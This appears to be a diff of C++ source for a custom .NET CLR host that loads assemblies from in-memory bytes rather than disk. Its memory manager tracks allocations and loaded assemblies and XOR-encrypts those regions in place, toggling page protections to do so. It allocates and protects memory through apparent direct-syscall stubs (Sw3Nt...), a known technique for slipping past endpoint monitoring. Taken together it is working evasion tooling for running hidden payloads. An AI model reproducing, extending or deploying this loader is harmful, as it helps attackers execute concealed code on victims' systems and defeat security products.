MyAssemblyStore::~MyAssemblyStore(void)
{
};
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
{
return(++((MyAssemblyStore*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
{
if (--((MyAssemblyStore*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyStore*)this)->count;
}
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assembly=data;
if(m_assemblyStream!=nullptr)
m_assemblyStream->Release();
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
m_id++;
return 0;
}
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_targetAssembly->updateTargetAssembly(identityManager, data);
return 0;
}
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
// Check if the identity of the assembly being loaded is the one we want
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
{
//This isn't used for anything here so just set it to 0
*pContext = 0;
UINT64 id = m_targetAssembly->getId();
*pAssemblyId = id;
//Create an IStream using our in-memory assembly bytes and return it to the CLR
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
return S_OK;
}
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
// If it's not our assembly then tell the CLR to handle it
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
// This shouldn't really get called but if it does we'll just tell the CLR to find it
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
//Tell the CLR to handle this
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
+93 -93
View File
@@ -1,94 +1,94 @@
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <string>
#include <shlwapi.h>
class TargetAssembly
{
public:
TargetAssembly(void)
{
m_assemblyStream = nullptr;
m_id = 5000;
m_assemblyInfo = (LPWSTR)malloc(4096);
m_identityBufferSize = 4096;
};
~TargetAssembly(void)
{
free(m_assemblyInfo);
};
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_assemblyInfo;
};
int getId()
{
return m_id;
};
char* getAssembly()
{
return m_assembly.data();
};
int getAssemblySize()
{
return m_assembly.size();
};
private:
DWORD m_identityBufferSize;
LPWSTR m_assemblyInfo;
std::string m_assembly;
IStream* m_assemblyStream;
int m_id;
};
class MyAssemblyStore : public IHostAssemblyStore
{
public:
MyAssemblyStore(void);
~MyAssemblyStore(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_targetAssembly = targetAssembly;
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_targetAssembly->getAssemblyInfo();
};
protected:
DWORD count;
private:
TargetAssembly* m_targetAssembly;
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <string>
#include <shlwapi.h>
class TargetAssembly
{
public:
TargetAssembly(void)
{
m_assemblyStream = nullptr;
m_id = 5000;
m_assemblyInfo = (LPWSTR)malloc(4096);
m_identityBufferSize = 4096;
};
~TargetAssembly(void)
{
free(m_assemblyInfo);
};
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_assemblyInfo;
};
int getId()
{
return m_id;
};
char* getAssembly()
{
return m_assembly.data();
};
int getAssemblySize()
{
return m_assembly.size();
};
private:
DWORD m_identityBufferSize;
LPWSTR m_assemblyInfo;
std::string m_assembly;
IStream* m_assemblyStream;
int m_id;
};
class MyAssemblyStore : public IHostAssemblyStore
{
public:
MyAssemblyStore(void);
~MyAssemblyStore(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_targetAssembly = targetAssembly;
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_targetAssembly->getAssemblyInfo();
};
protected:
DWORD count;
private:
TargetAssembly* m_targetAssembly;
};
+85 -85
View File
@@ -1,85 +1,85 @@
#include "HostControl.hpp"
MyHostControl::MyHostControl(void)
{
count = 0;
m_assemblyManager = new MyAssemblyManager();
m_memoryManager = new MyMemoryManager();
};
MyHostControl::~MyHostControl(void)
{
delete m_assemblyManager;
delete m_memoryManager;
};
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
{
// printf("MyHostControl_QueryInterface\n");
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
{
// printf("MyHostControl_AddRef\n");
return(++((MyHostControl*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostControl::Release()
{
// printf("MyHostControl_Release\n");
if (--((MyHostControl*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyHostControl*)this)->count;
}
// This is responsible for returning all of our manager implementations
// If you want to disable an interface just comment out the if statement
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
{
// printf("MyHostControl_GetHostManager\n");
if (IsEqualIID(riid, IID_IHostMemoryManager))
{
*ppObject = m_memoryManager;
return S_OK;
}
if (IsEqualIID(riid, IID_IHostAssemblyManager))
{
*ppObject = m_assemblyManager;
return S_OK;
}
*ppObject = NULL;
return E_NOINTERFACE;
}
// //This has some fun uses left as an exercise for the reader :)
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
{
// printf("MyHostControl_SetAppDomainManager\n");
return E_NOTIMPL;
}
#include "HostControl.hpp"
MyHostControl::MyHostControl(void)
{
count = 0;
m_assemblyManager = new MyAssemblyManager();
m_memoryManager = new MyMemoryManager();
};
MyHostControl::~MyHostControl(void)
{
delete m_assemblyManager;
delete m_memoryManager;
};
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
{
// printf("MyHostControl_QueryInterface\n");
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
{
// printf("MyHostControl_AddRef\n");
return(++((MyHostControl*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostControl::Release()
{
// printf("MyHostControl_Release\n");
if (--((MyHostControl*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyHostControl*)this)->count;
}
// This is responsible for returning all of our manager implementations
// If you want to disable an interface just comment out the if statement
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
{
// printf("MyHostControl_GetHostManager\n");
if (IsEqualIID(riid, IID_IHostMemoryManager))
{
*ppObject = m_memoryManager;
return S_OK;
}
if (IsEqualIID(riid, IID_IHostAssemblyManager))
{
*ppObject = m_assemblyManager;
return S_OK;
}
*ppObject = NULL;
return E_NOINTERFACE;
}
// //This has some fun uses left as an exercise for the reader :)
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
{
// printf("MyHostControl_SetAppDomainManager\n");
return E_NOTIMPL;
}
+115 -115
View File
@@ -1,115 +1,115 @@
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include "MemoryManager.hpp"
#include "AssemblyManager.hpp"
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
{
DWORD start = 0;
while (start < size)
{
*(address + start) ^= xorKey[start % xorKey.size()];
start++;
}
}
class MyHostControl : public IHostControl
{
public:
MyHostControl(void);
~MyHostControl(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyManager->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyManager->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyManager->getAssemblyInfo();
};
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memoryManager->getVirtualAllocList();
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_memoryManager->getMallocList();
}
int xorMemory(const std::string& xorKey)
{
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
{
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
}
}
MEMORY_BASIC_INFORMATION memInfo;
DWORD oldProtect;
std::vector<MemAllocEntry*> mallocList = getMallocList();
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if(entry->Address)
{
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
{
if (memInfo.Protect != PAGE_READWRITE)
{
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
}
else
{
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
}
}
}
}
return 0;
}
protected:
DWORD count;
private:
MyAssemblyManager* m_assemblyManager;
MyMemoryManager* m_memoryManager;
};
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include "MemoryManager.hpp"
#include "AssemblyManager.hpp"
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
{
DWORD start = 0;
while (start < size)
{
*(address + start) ^= xorKey[start % xorKey.size()];
start++;
}
}
class MyHostControl : public IHostControl
{
public:
MyHostControl(void);
~MyHostControl(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyManager->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyManager->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyManager->getAssemblyInfo();
};
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memoryManager->getVirtualAllocList();
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_memoryManager->getMallocList();
}
int xorMemory(const std::string& xorKey)
{
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
{
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
}
}
MEMORY_BASIC_INFORMATION memInfo;
DWORD oldProtect;
std::vector<MemAllocEntry*> mallocList = getMallocList();
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if(entry->Address)
{
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
{
if (memInfo.Protect != PAGE_READWRITE)
{
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
}
else
{
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
}
}
}
}
return 0;
}
protected:
DWORD count;
private:
MyAssemblyManager* m_assemblyManager;
MyMemoryManager* m_memoryManager;
};
+100 -100
View File
@@ -1,101 +1,101 @@
#include "HostMalloc.hpp"
#include "MemoryManager.hpp"
#include <iostream>
MyHostMalloc::MyHostMalloc(void)
{
count = 0;
}
MyHostMalloc::~MyHostMalloc(void)
{
}
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
{
return(++((MyHostMalloc*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
{
if (--this->count == 0)
{
GlobalFree(this);
return 0;
}
return this->count;
}
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = cbSize;
allocEntry->type = MEM_ALLOC_MALLOC;
m_memAllocList.push_back(allocEntry);
*ppMem = allocAddress;
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
{
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::Free(void* pMem)
{
// std::cout << "MyHostMalloc::Free" << std::endl;
if (!::HeapValidate(this->hHeap, 0, pMem))
{
// std::cout << "Detected corrupted heap" << std::endl;
return E_OUTOFMEMORY;
}
::HeapFree(this->hHeap, 0, pMem);
pMem = nullptr;
return S_OK;
#include "HostMalloc.hpp"
#include "MemoryManager.hpp"
#include <iostream>
MyHostMalloc::MyHostMalloc(void)
{
count = 0;
}
MyHostMalloc::~MyHostMalloc(void)
{
}
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
{
return(++((MyHostMalloc*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
{
if (--this->count == 0)
{
GlobalFree(this);
return 0;
}
return this->count;
}
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = cbSize;
allocEntry->type = MEM_ALLOC_MALLOC;
m_memAllocList.push_back(allocEntry);
*ppMem = allocAddress;
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
{
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::Free(void* pMem)
{
// std::cout << "MyHostMalloc::Free" << std::endl;
if (!::HeapValidate(this->hHeap, 0, pMem))
{
// std::cout << "Detected corrupted heap" << std::endl;
return E_OUTOFMEMORY;
}
::HeapFree(this->hHeap, 0, pMem);
pMem = nullptr;
return S_OK;
}
+52 -52
View File
@@ -1,53 +1,53 @@
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <vector>
typedef enum
{
MEM_ALLOC_LIST_HEAD,
MEM_ALLOC_MALLOC,
MEM_ALLOC_VIRTUALALLOC,
MEM_ALLOC_MAPPED_FILE
} memAllocTracker;
typedef struct _MemAllocEntry
{
SLIST_ENTRY allocEntry;
void* Address;
SIZE_T size;
memAllocTracker type;
} MemAllocEntry;
class MyHostMalloc : public IHostMalloc
{
public:
MyHostMalloc(void);
~MyHostMalloc(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
virtual HRESULT Free(void* pMem);
HANDLE hHeap;
const std::vector<MemAllocEntry*>& getMemAllocList()
{
return m_memAllocList;
}
protected:
DWORD count;
private:
std::vector<MemAllocEntry*> m_memAllocList;
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <vector>
typedef enum
{
MEM_ALLOC_LIST_HEAD,
MEM_ALLOC_MALLOC,
MEM_ALLOC_VIRTUALALLOC,
MEM_ALLOC_MAPPED_FILE
} memAllocTracker;
typedef struct _MemAllocEntry
{
SLIST_ENTRY allocEntry;
void* Address;
SIZE_T size;
memAllocTracker type;
} MemAllocEntry;
class MyHostMalloc : public IHostMalloc
{
public:
MyHostMalloc(void);
~MyHostMalloc(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
virtual HRESULT Free(void* pMem);
HANDLE hHeap;
const std::vector<MemAllocEntry*>& getMemAllocList()
{
return m_memAllocList;
}
protected:
DWORD count;
private:
std::vector<MemAllocEntry*> m_memAllocList;
};
+177 -177
View File
@@ -1,178 +1,178 @@
#include "MemoryManager.hpp"
#include "HostMalloc.hpp"
#include <iostream>
MyMemoryManager::MyMemoryManager(void)
{
count = 0;
m_mallocManager = new MyHostMalloc();
}
MyMemoryManager::~MyMemoryManager(void)
{
delete m_mallocManager;
}
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
{
return(++((MyMemoryManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
{
if (--((MyMemoryManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyMemoryManager*)this)->count;
}
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
{
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
//C reate a heap and add it to our interface struct
HANDLE hHeap = NULL;
if (dwMallocType & MALLOC_EXECUTABLE)
{
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
}
else
{
hHeap = ::HeapCreate(0, 0, 0);
}
m_mallocManager->hHeap = hHeap;
*ppMalloc = m_mallocManager;
return S_OK;
}
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress=NULL;
HANDLE hProcess = GetCurrentProcess();
Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
allocAddress = pAddress;
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
*ppMem = allocAddress;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = dwSize;
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
m_memAllocList.push_back(allocEntry);
return S_OK;
}
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
::VirtualFree(lpAddress, dwSize, dwFreeType);
lpAddress = nullptr;
return S_OK;
}
HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
{
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
return S_OK;
}
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
{
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
HANDLE hProcess = GetCurrentProcess();
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
return S_OK;
}
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
{
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
//Just returning arbitrary values
*pMemoryLoad = 30;
*pAvailableBytes = 100 * 1024 * 1024;
return S_OK;
}
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
{
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
return S_OK;
}
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
return S_OK;
}
//
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
//
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
//This is used to track the assemblies that are mapped into the process
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = startAddress;
allocEntry->size = size;
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
m_memAllocList.push_back(allocEntry);
return S_OK;
}
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
{
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
return S_OK;
#include "MemoryManager.hpp"
#include "HostMalloc.hpp"
#include <iostream>
MyMemoryManager::MyMemoryManager(void)
{
count = 0;
m_mallocManager = new MyHostMalloc();
}
MyMemoryManager::~MyMemoryManager(void)
{
delete m_mallocManager;
}
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
{
return(++((MyMemoryManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
{
if (--((MyMemoryManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyMemoryManager*)this)->count;
}
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
{
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
//C reate a heap and add it to our interface struct
HANDLE hHeap = NULL;
if (dwMallocType & MALLOC_EXECUTABLE)
{
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
}
else
{
hHeap = ::HeapCreate(0, 0, 0);
}
m_mallocManager->hHeap = hHeap;
*ppMalloc = m_mallocManager;
return S_OK;
}
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress=NULL;
HANDLE hProcess = GetCurrentProcess();
Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
allocAddress = pAddress;
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
*ppMem = allocAddress;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = dwSize;
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
m_memAllocList.push_back(allocEntry);
return S_OK;
}
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
::VirtualFree(lpAddress, dwSize, dwFreeType);
lpAddress = nullptr;
return S_OK;
}
